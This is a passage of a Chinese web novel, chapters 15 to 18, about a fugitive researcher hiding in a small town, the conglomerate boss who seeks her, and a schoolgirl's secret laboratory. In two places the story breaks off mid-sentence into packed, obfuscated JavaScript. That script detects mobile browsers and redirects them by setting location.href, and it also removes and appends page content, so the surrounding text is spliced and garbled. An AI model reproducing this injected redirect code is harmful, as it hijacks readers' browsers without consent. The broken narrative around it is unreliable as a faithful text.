安戈有些恼火。席森就像窥探她内心的魔鬼，每次谈话都正中自己要害，简直让她无处遁形，可她又无法反驳，因为她内心确实矛盾重重。 她刚从一个操纵她的大组织中逃出，对周边一切都不够信任，并不想卷入争端，但正义感又让她参与进当下的一桩桩麻烦事，而每一件都会增加她身份暴露的风险。 “如果你不加入MAA，我也不会放任你离开我的视野。”席森说得隐晦，“你知道得太多了，但我相信满月小姐是不会让我失望的，对吗。” 安戈沉默了。 席森的话怎么听都很危险。 “孟校长说的那个海岛……”席森又把话题转向了另一个方向，“听说异教徒在上面频繁活动，发生了很多起凶杀案，不过别担心，我会保护你的，满月小姐。” “是监视。”安戈终于忍不住，反驳道。 今晚的席森看起来相当坦诚，可是这并不能让安戈全然相信。她要搞清楚，杜朗他究竟是否还活着，是被MAA秘密带走了，还是如席森所言，死在了集团所放的大火中。 以及……他的“抢夺”，究竟是怎样神奇的一种能力。 一想到这里，安戈的心又砰砰直跳起来。她今晚所用的“半改造系统”还是限制太多了，要是能研究杜朗提供的样本就好了。 她要等杜朗再次给她信息，希望不要太晚。 15. 第15章 一双冰冷的、碧绿如翡翠的双眸睁开了。 随后，一具美丽的、泛着微微光泽的金属躯体，也从床上缓缓苏醒。 他的胸膛打开，五脏俱全——心肝脾肺肾全部和他的躯壳一样，由金属制作而成，无一不精密，即便作为一架机器，一个彻头彻尾的机器人，并不需要这些，他只需要趋势躯壳启动的能源。 一双微微透明的手，带着白色手套，用丝绸绢缎轻柔擦拭着他的机械内脏。 这位中年男人穿着得体的西装，单膝跪在床榻边缘，他的头发梳得一丝不苟，脸型微方，嘴角下撇，神态严肃恭敬，好像是个古板认真的老管家。可是如果有人仔细看过去，一定会吓得尖叫出声——因为他全身都几乎透明，甚至你可以透过他的身体，窥见躺着的机器主人。 而这位主人……从脖颈往下，外形都昭示着他的机器属性，可是往上看去，他的头部却如同人类一般，有着柔软的皮肤，翠绿的双眸，高挺的鼻梁和透亮的黑发。 忽然，他的机械手臂抬起，握住了幽灵管家的手臂：“好了，给我穿衣服吧。” “是，司令。”管家的声音低沉，低低应了一句，然后起身，去拿熨烫好的衣服。 这人正是因特里赫德集团的幕后老板，人称“幽灵司令”，正是因为他拥有驱使幽灵的能力，建造了一支幽灵军队，仿佛地下世界的王者。 机械手指灵活地轮转，仿佛正在活动筋骨。他用手指扶上自己的脸颊，准确找到某一关敲，按一定节奏敲击了数下，面具下开始闪烁着蓝光…… 然后，皮肤开始从面部延伸，在脖颈以下的钢铁躯壳上附着、扎根、生长，仿佛一具枯骨重新长出血肉，显得诡异又恐怖。在这短短几秒间，他就变得如同有血有肉的人类一般，再也看不出来端倪。 “嗯。”司令眯起眼睛，笑了笑，发出一声轻哼，好像是在重新适应身体，想要更好地控制表情，他对管家说道，“新的面具还不错，格斯干得很好。” 因特里赫德集团培养了无数实验室，每个实验室负责人不同，所研究的领域也各不相同。为了这位幽灵司令的人类面容，易颜面具的开发一直是重点项目，桑格莉亚偷偷拿到的面具也来自这位研究员的实验室。只是她所拿到的，不过是幽灵司令所淘汰的次品。 “格斯先生已经在等您了，和塞茜小姐一起。”老管家回答道。 “知道了。”司令轻轻动手，调整了一下自己领带的位置，然后站起身，走出了卧室。 卧室外，金碧辉煌的水晶吊灯下，整间别墅热热闹闹，无数半透明的女仆、男仆，正热火朝天地做着各类伙计，从厨房到客厅，从烧水到打扫，从花匠到园丁，每个人见到司令都会热情而不失严肃地说上一句：“司令好。” 他是真正的司令，对于这些幽灵而言。 守野市。 会议室内，身着军装的男人坐在主位，双手交叉握着，撑住下巴，一言不发。 整间房子相当肃穆，其他所有人都端正坐于下方，他们或是军人，或是政商界要员，在这位面前，相互之间只敢微微侧身，低声交谈。 “抱歉来迟了。”黑发司令出现在了会议室的门口，身后跟着一男一女。 跟着的男性不高，身材也偏瘦，戴着一副银色眼镜，站在另两位旁边显得格外弱不禁风，胳膊和腿仿佛轻轻一折就能掰断，他看起来不大适应这样的场合，略有些紧张，四肢僵硬，额头上也冒着汗珠。这就是易颜面具的开发者，格斯。 而那位女性，则是标准的美人，身形高挑，气势不凡，神色冷漠，被称为“冰美人”塞茜。 一时间，所有人都看向他们。 “没有，来得正好。”上座的男人看到他们，露出了一个不常见的笑容，“司令官，我们才刚开始聊武装改造的进程，您的到来让我们。” “您才是这里真正的司令。”幽灵司令谦和回应。 主位男人正是人类世界的司令官，守野市的重要人物，武装力量的首脑，杨司令。这位司令官出身于守野市周边，土生土长，是个地地道道的原住民。他的五官较为柔和，棕发黑瞳，和门口的三位长相截然不同。 因特里赫德集团本就是五十年前忽然崛起的企业，他们从北方而来，驻扎于守野市，也为这座城市的复兴贡献了必不可少的力量。 只是……这位因特赫德集团的老板，似乎永远不会衰老。 杨恩辉气质温润，笑意盈盈，示意幽灵司令坐下：“早上我们一行人看了演习，相信司令已经看过视频了，因特里赫德集团集团永久改造的五百人能力者兵团，表现出众。” 幽灵司令作为集团老板，和杨恩辉等人合作密切。现如今最重要的项目就是对守野市的驻扎军进行非凡能力改造，这并非是有时限的“半改造系统”，而是如林曜昕一般的永久改造。士兵们获得非凡能力后需要进行长期的跟踪观察，战力评估，之后再投入一线使用，用于打击那些变异生物、反抗军和异教徒。 “当然，格斯早就发给了我。”幽灵司令向众人介绍，“我身边的这位，就是我们的研究员格斯，负责兵团改造项目。” 众人看向幽灵司令旁边的男士，面色各不相同，原因无他，这一项目的负责人原本并非格斯，而是失踪已有三个月的研究院员桑格莉亚。一时间，有人露出感慨的神色，有人打量着这位新研究员，还有的人已经开始忍不住交头接耳了起来。 看到人们的反应，格斯也起身，拘谨地和大家打了个招呼。 “司令，按照原本计划，我们会在半年内将这批彻底改造的士兵送往一线，可是现在……听说有不少实验材料都被销毁，我们的计划……是否需要延期？”坐于幽灵司令对面的一位男士问道。 “不用。”幽灵司令说得斩钉截铁，唇角也勾起一抹笑容，“对于桑格莉亚，我们已经有了线索。” “哦？”杨恩辉也感兴趣了，“人已经找到了？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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整个守野市自然长成的A级能力者恐怕都不超过200人，且在各处身居要职，而此次竟然能一下拿出50人，这是多么可怕的安保能力，看来异教会是掀不起什么风浪了。 幽灵司令的神色未变：“这是自然。” 可是冰美人塞茜却飞快地看了一眼司令，神色有些古怪，她的这一反常行为并没有被人发现。 接下来，他们一众人就这个项目的具体细节又展开进行了交流。 幽灵司令难得出现一次，不少人都想借着这个机会拉近距离，可是碍于对方的盛名，又有些恐惧，只有杨恩辉能跟他多说上几句话，甚至会议还没开完，幽灵司令就打了个招呼，先行离开了，留下塞茜和格斯两个和众人商讨。 只是幽灵司令刚出门，塞茜就赶了上来：“老板，伊比利奈岛的事情，我们要不要阻止杨恩辉派兵团过去？毕竟我们在异教会还有不少人的人。” “不用。”幽灵司令幽幽说道，“两方总归会对上，早晚的事。” 塞茜沉默了一会儿，然后开口：“好的，那到时，我跟着军团；让莫离跟着异教会。至于席森……他还在追踪桑格莉亚，怕是赶不回来。” “如有必要，把他召回。” “是！” 16. 第16章 清晨，天刚蒙蒙亮，厚实的云朵将太阳藏在身后，整座小镇都笼罩着一层水汽。 席森没有睡觉，在安戈呼吸平稳后回到了林曜昕的住所。 林曜昕还不知道昨晚发生的事情，听到客厅的动静，打了个哈欠。睡眼惺忪地坐到了沙发上：“哥，你怎么回来了？” 说完，他又想到了什么似的，继续问道：“难道是姜灿姐姐已经来了吗？” 林曜昕还有点迷糊，但模模糊糊中记得，前几天回MAA注射维持药水时，正好碰上姜灿姐姐，她还说好今天要来太阳镇看望自己。因为姜灿和大哥的关系不错，即便她平时工作也很忙，很会偶尔地和林曜昕联系一下，抽空见上一面。 “不，我和她说了，不必来了。”席森回道。 听到席森的回答，他一下就醒了：“为什么？” 席森瞥了林曜昕一眼道：“桑格莉亚在镇上，姜灿可能会发现端倪。” 林曜昕撇撇嘴：“我都好久没见到姜灿姐姐了，你也太谨慎了，就算让她知道了安医生在镇上又怎么样，迟早会见面的，你不是也想把她拉入MAA吗。” “呵，他们不了解桑格莉亚的个性，恐怕越弄越糟。”席森嘲讽地勾起唇角，“他们会第一时间把桑格莉亚关起来的，不可能放任她在外……这样自由地生活，那桑格莉亚绝对会继续逃跑，她被集团看管了十几年，好不容易逃出来了，绝不会再妥协。” “不至于吧。”林曜昕挠了挠自己的后脑勺，“姜灿姐姐平时不是很好说话吗，她会做得这么过分吗？” 席森轻笑一声：“你以为。一个月，是我能给桑格莉亚的最长时限。姜灿他们可没有这个耐性。再等等看吧。” “那要是一个月后，安医生还是不愿意跟我们合作怎么办？”林曜昕又问道，“你会放她走吗。” “那我会如实告诉姜灿他们，桑格莉亚……就会立刻被MAA监禁。”席森的语气中有不容置疑的坚定，但也有一丝微不可察的怜惜，“那么这几个月，大概会成为她生命中唯一的快乐时光。” 林曜昕静静地看着席森，他知道，席森和安戈认识了很多年。他从很久前就听说过这位天才研究员，从席森的只言片语中，林曜昕能看出席森对她的赞许，甚至还有一些……他自己都未曾觉察的同情。 林曜昕停顿了片刻，又问，“看来……她对MAA相当重要。” “我听到风声，要有技术大变革了，人永远无法和时代抗衡。”席森缓缓解释着，“如果不带着桑格莉亚乘上这阵风，我们永远……也无法搞垮因特里赫德。” 当第一缕阳光刺破云层，洒向太阳镇时，艾琳一家却依旧呼呼大睡，直到早上十点钟，艾琳才匆匆起床。 今天是周末。和以往周末不同的是，艾琳没有从冰箱中拿出营养液，而是略带兴奋地上了街，她没有叫醒仍然在熟睡中的艾斯与安戈，而是打算偷偷给他们一个惊喜。 昨晚的餐厅之行并不愉快，中途被安保局的人打断了，于是艾琳这次打算用安戈上交的工资改善伙食，亲自下厨做一桌好菜。她已经多年没有机会接触这些真正的食物，因而在市场里左挑右选，不知道该买哪一样。 而就在这时，一个稚嫩的声音传入她的耳畔：“艾琳姐姐？” 艾琳回头一看，瞧见是一个小姑娘，非常眼熟，似乎曾经看见她和艾斯走在一起。 果不其然，那小姑娘走上前来，脆生生介绍自己：“我是唐玉，艾斯的同学。” “啊，你好。”艾琳扬起一个笑容，“真巧啊，也来买菜吗。” “嗯！”唐玉点头，然后又歪了歪脑袋，“我爷爷奶奶年纪大了，每天都是我来市场采买，说起来，我们竟还是头一回碰上呢。” 看着唐玉好奇的脸，艾琳一时有些不知道说什么好。 他们囊中羞涩，因而只能靠营养液果腹，而唐玉的家庭条件显然要稍好一些，能够每天来市场购物，吃上新鲜食物。听艾斯说，唐玉的父母都到守野市打工了，每个月都会向家里寄钱，因此经济状况还算不错。 “我来得比较少，你有经验，不知道有没有空帮我挑一挑菜呢？” “当然。” 唐玉一口应下，她拉着艾琳来到自己熟识的店铺面前，介绍道：“这家肉铺是是个市场里最新鲜最公道的，我总是在他家买……老板，我要两斤牛肉。” “好嘞！” 肉铺老板将肉切好称好，打包交给唐玉。 看着唐玉熟练的动作，艾琳也跟着买了点牛肉，然后他们又去购买了些牛奶鸡蛋、瓜果蔬菜，等全部采购完时，她们又发现彼此的住所在同一方向，离得不远，因此打算一道步行回去。 阳光明媚，艾琳的脚步也轻快了许多。 她们一路上说说笑笑，唐玉说着自己的爷爷喜欢做什么菜，有什么菜谱可以推荐给艾琳，十分热心，艾琳也特别高兴，问唐玉要了联系方式，打算回去后一一记下，两人很快就熟悉了起来。 聊着聊着，艾琳忽然心念一动：“听艾斯说，你的父母都在守野市工作？” “嗯。”唐玉问道，“怎么了？” “艾斯也慢慢长大了，以后用钱的地方还有很多，我想着或许我也可以离开他，去大城市多赚一点钱。”艾琳的眼睛中流露出向往，“改善一下他的伙食，最好……再把家里的房子翻修一下。” 他们现在居住的小平房，条件简陋，有时刮风下雨屋顶还有漏水的地方，已经是修修补补许多年了，家中的院子也早就荒废，可是没有钱，一直无法改善居住条件。 “嗯……”这下唐玉没有立刻接话，反而是一副欲言又止的样子。 “等赚够了钱，我再回镇子上养老……” “其实，守野市的生活也并不好过。”唐玉叹了口气，缓缓说，“我爸妈刚去的时候一直住着大通铺，因为租不起房，只能二十个人挤在一间大宿舍里……每个月赚的钱还不够他们自己在守野市的开销……” “啊，那……他们现在呢？”艾琳惊讶地张了张嘴。 “现在好多啦。”唐玉开心笑着，“因为他们工作的工厂被因特里赫德集团收购了，虽然还是底层员工，但是进入大公司后，工资翻了两倍，所以也有钱能寄回家了。” “难怪大家都想进入大财阀工作。”艾琳若有所思地点点头，“可是这不容易吧。” “当然，他们自己都说是撞了大运，才遇到这种好事。”唐玉说，“前段时间，还打电话来问我，想不想转去守野市上学，说是集团听说他们的孩子是非凡能力者，特别给的机会，非常难得……” 艾琳有些激动：“那不是一件好事吗？” 在普通人眼里，这种机会意味着，唐玉已经被大财阀看中，想要吸纳人才，往后的前途也是不可限量。 “是的！我也很激动！”唐玉道，“而且……我非常喜欢桑格莉亚！要是进入因特里赫德集团，就可以离她更近一些！” 艾琳看见，唐玉的眼睛里闪烁着炽热的光。 “你的偶像，是桑格莉亚啊。”艾琳惊奇道，“为什么喜欢她？” 唐玉重重点头：“她很了不起！她的改造系统能赋予普通人非凡能力……真的好神奇。如果可以的话，我也想跟她学习，和她一起做研究！” “嗯……可是桑格莉亚现在……” “是的，下落不明。”唐玉的神色有些失落，“三个月前，她突然失踪，我去守野市的兴趣也就消退了一半。再加上……我也舍不得离开爷爷奶奶，老师同学们，所以我就回绝了。” 艾琳有些惋惜道：“有点可惜……不过，只要能力优秀，机会还多得是。” 她看得出，唐玉是个很有主见的女孩子，她做决定必然有自己的道理。 “嗯！我也这么想！或许等我足够优秀的时候，我就能见到桑格莉亚了。”唐玉的笑容在阳光下熠熠生辉，“还能带着我的朋友们，一起实现梦想。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191842|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 狭小平房内。 艾琳在餐桌上一笔一划地记下唐玉分享给她的菜谱，然后她小心翼翼地拿出肉类和蔬菜，清洗、切菜，很快，似乎是听到了些声音，艾斯睡眼朦胧地走出了房间。 “早！”艾琳一边哼着歌，一边打着招呼。 “早……”艾斯打了个哈欠，然后眨了眨眼，看见艾琳正在做什么，不可置信地指着桌上的蔬菜水果，“这……这……” 艾琳的嘴角勾起一个笑容，艾斯一定是很惊喜吧，她装作云淡风轻，语气中却有着一丝压抑不下的喜悦：“嗯，今天吃大餐。” 艾斯张了张嘴，却没能说出一句话，一副呆了的样子。 艾琳自信给了艾斯一个惊喜，于是举止优雅，神态从容地点起火。 艾斯的脸色骤变，像是地板烫脚一般，一蹦三尺高，撒腿就向安戈的房间跑去，疯狂敲门：“安戈！安戈！出大事了！” “这孩子，说什么呢，该不会是睡傻了吧。”艾琳自言自语道，又将手中的牛肉放入锅中。 “出了什么事？”安戈很快就开了门，她本就警觉，一听见艾斯的声音，就凭借身体本能，迅速起床，走出了房间。 艾斯的表情十分恐惧，他颤抖着指向厨房里的艾琳：“不能让她接近厨房！” 话音刚落，劈里啪啦的声音响起，锅里的火蹿得老高，烟雾弥漫，而艾琳还在另一边悠哉切菜，她好像是感受到了火光，将菜刀随意丢在水池旁，刀尖朝外，还有一半悬在空中，放下的瞬间还在轻轻晃动。 艾琳转身，却被脚下的袋子绊住，她一个踉跄，向刀尖倒去，却是在最后一刻险险站住，冲两人露出一个笑容：“嚯，好险。” 然后她拿起桌上的水，准备倒入锅中。 “别！”安戈和艾斯同时开口，可是艾琳手中的水碗已经倾斜…… 艾斯当机立断，伸手阻拦，水碗中的水仿佛感受到艾斯的感召，漂浮在空中，而安戈已是黑着脸冲向灶台，快速将灶台关闭，又将锅盖扣好，火光这才消失。 艾琳眨眨眼，仍旧是一副状况外的样子。 安戈接过她手中的水碗，水在艾斯的操控下落入碗中，两人长吁一口气。 “姐姐……你坐，你坐，今天我们做饭。”艾斯堆起笑容，将艾琳推到沙发上，又冲安戈挤眉弄眼。 艾琳立刻揪住艾斯的耳朵：“喂，你是什么意思？不相信我的手艺？” “没有没有，怎么会呢。”艾斯痛得龇牙咧嘴。 安戈也明白了艾斯的意思，打开锅盖，看着锅中肉的颜色，突然问道：“你放了多少腌料？” 艾琳望着天：“唔……好像放了一整碗吧，唐玉说要适量，我也不知道什么是适量。” 安戈顿时预感不妙，扶了扶额，然后穿戴好围裙，什么也没说，默默开始重新处理手头上的食材。 艾斯则是在安顿好艾琳后，凑了过来，看安戈一副熟练的样子，不好意思地说道：“我姐姐……每次靠近厨房都有不好的事情发生，有次差点把房子都点着了……可她最听不得别人说她不会做饭。” 安戈递给艾斯一个同情的眼神，以及一碗没有打散鸡蛋：“懂。” 艾斯默契地接过碗，把鸡蛋打散。 就在这时，艾琳又凑了过来：“你们两个，在嘀嘀咕咕说什么呢。” 看着艾琳的笑容，不知道为什么，就连安戈也有种发毛的感觉，于是打岔道：“我们来做菜，姐姐去准备喝的吧。” 艾琳得了任务，立刻转移了注意力，高高兴兴地去餐桌准备饮品了：“喝什么呢？今天喝牛奶吧！艾斯个子太矮了，给他准备两杯。” 安戈瞥眼瞧见，艾斯表情扭曲，知道他即将要张口，直接捂住他的嘴，威胁道：“不喝牛奶，她又要来厨房了。” 艾斯声音被安戈的手捂住，化成破碎的音节，可是安戈仍然听清了他的话。 他分明在说——喝牛奶还不如杀了我！ 17. 第17章 正午时分，浓郁的饭菜香味萦绕着简陋平房。 安戈自认为烹饪经验也没有十分丰富，但好在这次没有翻车，姐弟俩都相当喜欢她的手艺。 “嗝——”艾斯满足而畅快地打了一个饱嗝，瘫软在座椅上，那样子舒服极了。 艾琳的脸上也洋溢着幸福的笑容：“安戈的手艺太棒了！我从没吃过这么好吃的土豆牛肉，你是怎么做的？” 安戈想了想，折好纸巾，擦了擦嘴，说道：“就像做实验一样，按步骤加东西，我用的就是你放在厨房的菜谱。” “……做实验？”艾斯似乎被这话噎住，“哪有人这样做饭的。” “好厉害啊。我宣布，这个家里，我手艺第一，你手艺第二。”艾琳开心地拍了一下安戈地肩膀。 安戈脸上保持着微笑，没有丝毫破绽。 “好好好。”艾斯的表情无语，敷衍着，又从座位上迅速站起，“我去洗碗！” “这么勤快？” “嘿嘿，我等下还有事。”艾斯不好意思地笑了，“和同学约好了出去玩。” “谁？唐玉吗？”艾琳随口问道。 “对的！”艾斯在厨房里大声回道。 “你下午有安排吗？”艾琳又问安戈。 安戈微微顿住。 她下午还真有想做的事，打算去看镇上有没有合适的房屋可以租住。 自从找到工作后，安戈就在考虑搬离艾琳和艾斯的家。她本就是独来独往的性格，再加上身份特殊，席森现在又跟在她身边，她借助在别人家中总是不方便。 只是安戈第一个月的工资全部都给了艾琳，而且她也不确定自己什么时候会离开太阳镇，所以一直拖延着，今天恰好没事，倒是可以去了解下租房的信息，也许还可以摸索一下太阳镇的黑市位置，以后万一急需用钱，可以将身上的改造系统变卖掉。 “嗯，我想去看看房子。” “你想搬出去啦？”艾琳睁大了双眼，湛蓝色的瞳孔清澈真挚，热情说道，“我听说学校有校舍，你为什么不去那儿看看呢？” “校舍？”安戈怔住，她倒是从没有听说过学校还有住宿的地方。 “艾斯。”艾琳隔着客厅向厨房喊道，“学校有校舍的对吧？” 艾斯从门后探出脑袋，手中还擦着盘子：“有是有，但那地方很久没人住了。” “这样啊。”艾琳手撑住下巴，“要不你抽空带安戈去看看，那边能不能住。” “安戈要搬出去？”艾斯惊讶道，“住咱们这儿不是挺好的吗。” 安戈刚要张口，艾琳就抢先说道：“看看呗，不合适还住在家里。” “我下午还有事儿！”艾斯不情愿地说着。 “反正你们也要去学校的。” “哈？你怎么知道？” “哼哼，今天唐玉可跟我说了，你们在学校有个秘密基地。” “她怎么连这个都跟你说！” 安戈眨了眨眼，好奇心也有些被勾起来了，秘密基地？ 下午一点左右，安戈和艾斯出现在了学校门口，唐玉和林曜昕已然在等待他们了。 “这里就是校舍了。” 三人组带着安戈绕过学校的教学楼，又穿过体育馆后面的车棚，来到了一栋三层楼高的灰色建筑前。 这栋建筑看起来荒废以旧，玻璃窗户有的破碎，有的布满灰尘，外墙上还爬了一层厚厚的苔藓，显得阴暗潮湿。 安戈皱了皱眉，她上前想要拉开大门，却发现这扇并不结实的铁门被链条锁着，根本进不去。 “从这里走。”唐玉的声音很是清脆。 安戈循声望去，唐玉蹲下身去，手指在墙壁上轻点，青绿色的光芒从她的指尖扩散，然后她的五指张开，光芒迅速蔓延成一个矩形，但这个矩形不大，大约是成年人半身那么高。唐玉轻轻一推，这个矩形就像门一样往里打开。 这个矩形开在墙上，活像一个……会发绿光的狗洞！ 艾斯个子最小，由他第一个进，他弯下身来，鬼鬼祟祟地蹲着进到校舍里面。 然后是林曜昕、唐玉，最后才是安戈。 安戈的内心是抗拒的，她有着轻微的洁癖，而校舍内外，尘土飞扬，怎么看都不能干净地进出。但已经跟着三人来到了这里，唐玉的脑袋又从矩形处探了出来，眼神热情真挚：“安医生！快跟上！门就要关啦。” 安戈只好也跟着钻了“狗洞”。 一路走着，安戈的注意力却不在校舍上，而在唐玉身上。 她的这个“造门”能力，安戈是研究过的，虽然看上去并不适合战斗，她却认为相当有用。这类能力者可以在没有生命的固态物品上开出一扇门，随着能力的提高，开门的面积会增大，到了C级后更是能够发展出传送的功能，将限定范围内将物品转移至另一空间。 只是唐玉现在的能力，显然无法传送，用处仅限于进入上锁的校舍，还要以如此狼狈的方式。 走着走着，林曜昕回头对安戈说：“这个校舍太破了，平时都没人来，如果要住，恐怕得让孟校长派人来翻修一下。” 安戈有些尴尬地笑笑：“还是算了吧，我只是来瞧一眼，不行也没关系，不必勉强。” 现在正是财政危机的关头，他不可能有闲钱来翻修这儿。 “也是，这可是个大工程。当初为了打扫出这间秘密基地，我们可是花了好久的功夫呢。”艾斯说着，来到了楼梯口，“到了，就是这间地下室。” 原来他们的“秘密基地”就藏在废旧校舍的地下室。 三人没有地下室的钥匙，又是唐玉发挥了自己的能力，将他们带了进去。 地下室没有窗户，钻进房间时，安戈的眼前昏暗一片。 “啪”地一声，有人拉开了电闸，安戈的眼睛被白光刺痛，适应了几秒钟才看清眼前的场景。 来之前，她有想过，这个年纪的小孩秘密基地会是什么样的，或许是摆满了自己的“小收藏品”，或许是由二手家具搭建的一个聚会场所，或许是…… 她怎么也没有想到，眼前的这面墙上，贴满了……自己的照片！ 没错，她的——也就是桑格莉亚的照片！甚至有很多，她自己都没有看过！ 安戈感觉自己如遭雷击，整个人几乎要石化——这是什么？她又不是什么明星，为什么有人会贴她的照片？难道是她的仇家？ 艾斯看见她呆若木鸡的表情却是哈哈大笑了起来：“哈哈哈，我就说你这面墙太恶心了！你看，把安医生都吓着了吧！” 林曜昕则是憋着笑，挤眉弄眼地对安戈道：“这是唐玉的偶像，她一有空就要过来，对着这些照片许愿。” 他还笑！安戈心中恼怒，林曜昕是知道她身份的，现在显然是在幸灾乐祸！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15199990|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她莫名地，非常想将这面墙毁个干净……这都是什么啊！ “许什么愿？” “当然是保佑我门门考试都能拿优秀。”唐玉得意道，“怎么样，这面墙很帅吧。” 安戈没有回答，视线尴尬地下移，想要避开那一张张属于自己的面孔，于是她看见了两张拼起来的木头桌子上，摆满了各类实验器材和样品。这些东西虽然摆得散乱，足以见得他们的主人是个不拘小节，任意妄为的个性，可是各类用品一应俱全，俨然是个非凡能力研究的小小实验室。 而一旁的书架上，东倒西歪地陈列着书籍和文件夹，文件夹上还贴着标签，均是标注着“桑格莉亚”和编号，从1到24……整整有二十四卷！ “那些是唐玉收集的资料。”林曜昕摸了摸自己的鼻子。 “什么资料？”安戈的汗毛都有些竖起来了，看向唐玉的眼神也变得古怪。 毕竟，无论是谁走入这样一间房子——到处都是有关自己的照片和资料，都会怀疑自己被变态盯上了吧。 “是关于‘改造系统’的资料。”唐玉十分热情地拿下了一本，翻开给安戈介绍道，“我在研究，这种神奇的药水究竟是怎么制成的。” 说到这，安戈总算是明白了唐玉的意图——她想要复制自己的研究成果。 看着唐玉给她展示的资料和笔记，安戈也好奇地看去，想知道这个小孩能研究到何种成都，结果发现唐玉还真的抓住了几个要点，不禁也有些赞叹。 “只可惜，我们的材料不够。”唐玉叹气道，“从桑格莉亚目前公开的部分资料来看，制成改造系统，至少需要四种不同的非凡能力试剂，这些原材料我们弄不齐。” 那是当然。安戈在心里这么想着，可是她问道：“你们弄来了哪些？” “只弄到了一个‘储存’。”艾斯吐槽着。 那不相当于没有…… 她所创造的改造系统，简单来说一共有三个步骤。 第一步需要用带有“存储”能力的容器，将所有非凡能力保存其中，第二步需要“复制”想要拥有的非凡能力——这种能力被称为“母能力”，最后则是用“净化”能力将基因的密码锁打开，进行改写，将复制的能力施加进去。 “我们现在做的事情还很无聊。”林曜昕说道，“唐玉逼迫我们将自己的能力放在储存试管中，观察、观察、再观察……” “你这么说，听起来也太无聊啦！”唐玉打断林曜昕，对安戈解释道，“非凡能力一离开能力者体内，进入自然界后，就会很快消散，只有放入专门的‘存储’试管内，才能保存。” 说罢，唐玉用小刀划破了自己的指尖，指尖流出一颗颗血珠，这些血珠落到桌面上，大约过了十几秒，就如同泡沫一般消失了，只留下了干涸的血迹，而她手上的伤口也迅速愈合。 “但是，放入这种特质的试管中就不一样了。” 唐玉又划了一次指尖，这次她用“存储”试管接住，并迅速密闭，那些血液积累在试管底部，厚度大约三厘米，过了一分钟也没有消失。 “很神奇吧！”唐玉得意地看向安戈。 安戈自然是了解这些基础知识的，她的关注点则在另一件事情上：“你是从哪里得到这么多器材的？” 其他的也就罢了，这些能储存非凡能力的试管价值不菲，唐玉的桌面上却架着好几排。 18. 第18章 “你是从哪里得到这么多器材的？” 听到安戈这么问，唐玉嘿嘿一笑，露出了小虎牙，得意洋洋地炫耀道：“从校长办公室旁边翻出来的！” 安戈更加不解，林曜昕又接着解释：“听说很久以前，我们学校有很多厉害的学生和老师，所以开了各种各样的选修课，其中一门就是‘研究课’，那个老师叫季凡月，也是个小有名气的研究员，那个实验室就是她一手建起来的。” 季凡月这个名字安戈也曾经听过，她也阅读过对方的文章，复现过她的研究成果，的确是个厉害的研究员，只是没想到，她曾经在这座高中担任过教师，还留下了这么多东西。 安戈盯着桌面上的东西，眼神和思绪都逐渐飘远，忽然想到，如果她得到了“抢夺”，没有实验室也无法进行下一步，而这里的确算的上隐蔽，甚至比黑市的研究所还要隐蔽，有谁会想到，桑格莉亚会躲在一所学校的校舍里做研究？这里不失为一个暂时的容身之所。 安戈的眼睛微微有些发亮，看唐玉的眼神也炽热了起来，她开口夸赞道：“这里看起来真的很棒。” “你真的这么想？”唐玉惊讶地说道，“他们俩都说这无聊得很。” “我对研究也非常感兴趣。”安戈继续说，她的表情真诚而热烈，“你愿意让我使用这间实验室吗。” “当然。”唐玉开心得跳了起来，“只要你愿意，随时可以过来，你还可以挑选一个空间，摆自己的东西！” 安戈沉吟一声，又想道，自己也不能每次都让唐玉跟着来开门，总得让孟校长把钥匙给她才是。 “哈？”艾斯则是不可思议地咋舌，“竟然有人会和你对上电波。” 他的重音落在了“你”字上，自然是又挨了唐玉的一颗老拳。 林曜昕没有表现出诧异，他知道安戈的真实身份，也能推测出她的部分行为动机，只是……他想起了席森说的话，一个月后，MAA就会来找安戈，她恐怕也用不了多久。 星期一，这是安戈作为射击老师上班的第一天。 她的保健室不知什么时候已经被恢复了原样，听学生们说是孟校长和欧文大主教监督海威尔找人来做的清扫，这位高傲的非凡能力者绝不肯亲自屈尊干活，只得支付一大笔佣金。 第二日，海威尔就迅速打包行李离开了太阳镇，当然，也带走了那两位B级能力的学生，听说三人一起去了守野市最好的非凡学校，帝华学院。 自然，这座帝华学院也要参加半月后的非凡能力竞赛，海威尔还在临走前放出话来，如果他们敢去参加，必得要他们好看。 也就是说，他们和海威尔很快还会再次遇见，一时间这一消息传遍了学校各处，学生们课上课下都议论纷纷。 议论得最多的就是，如果在伊比利奈岛遇到了海威尔怎么办？如果两方正好抽签在同一小组怎么办？如果输给了帝华学院又该怎么办？ 恐怕又会看到对方嚣张傲慢的嘲讽嘴脸，这回他的身后还有着那些精英学生们撑腰。 不少人甚至打起了退堂鼓，跑去找孟校长，询问能否不去参加这次比赛。 孟校长也知道他们是怎么想的，只是太阳镇中学是不能放弃这个比赛的，这关系到学校的危机存亡，因此也是愁得满脸褶子，一天三趟地往老师们的办公室跑，希望能商量对策。可是学校实力哪是一夕之间能够改变的，老师们也是纷纷摇头，表示非常困难。 安戈将这一切尽收眼底。 她没参与他们的讨论，而是思考片刻，在上课前带上了几样东西。 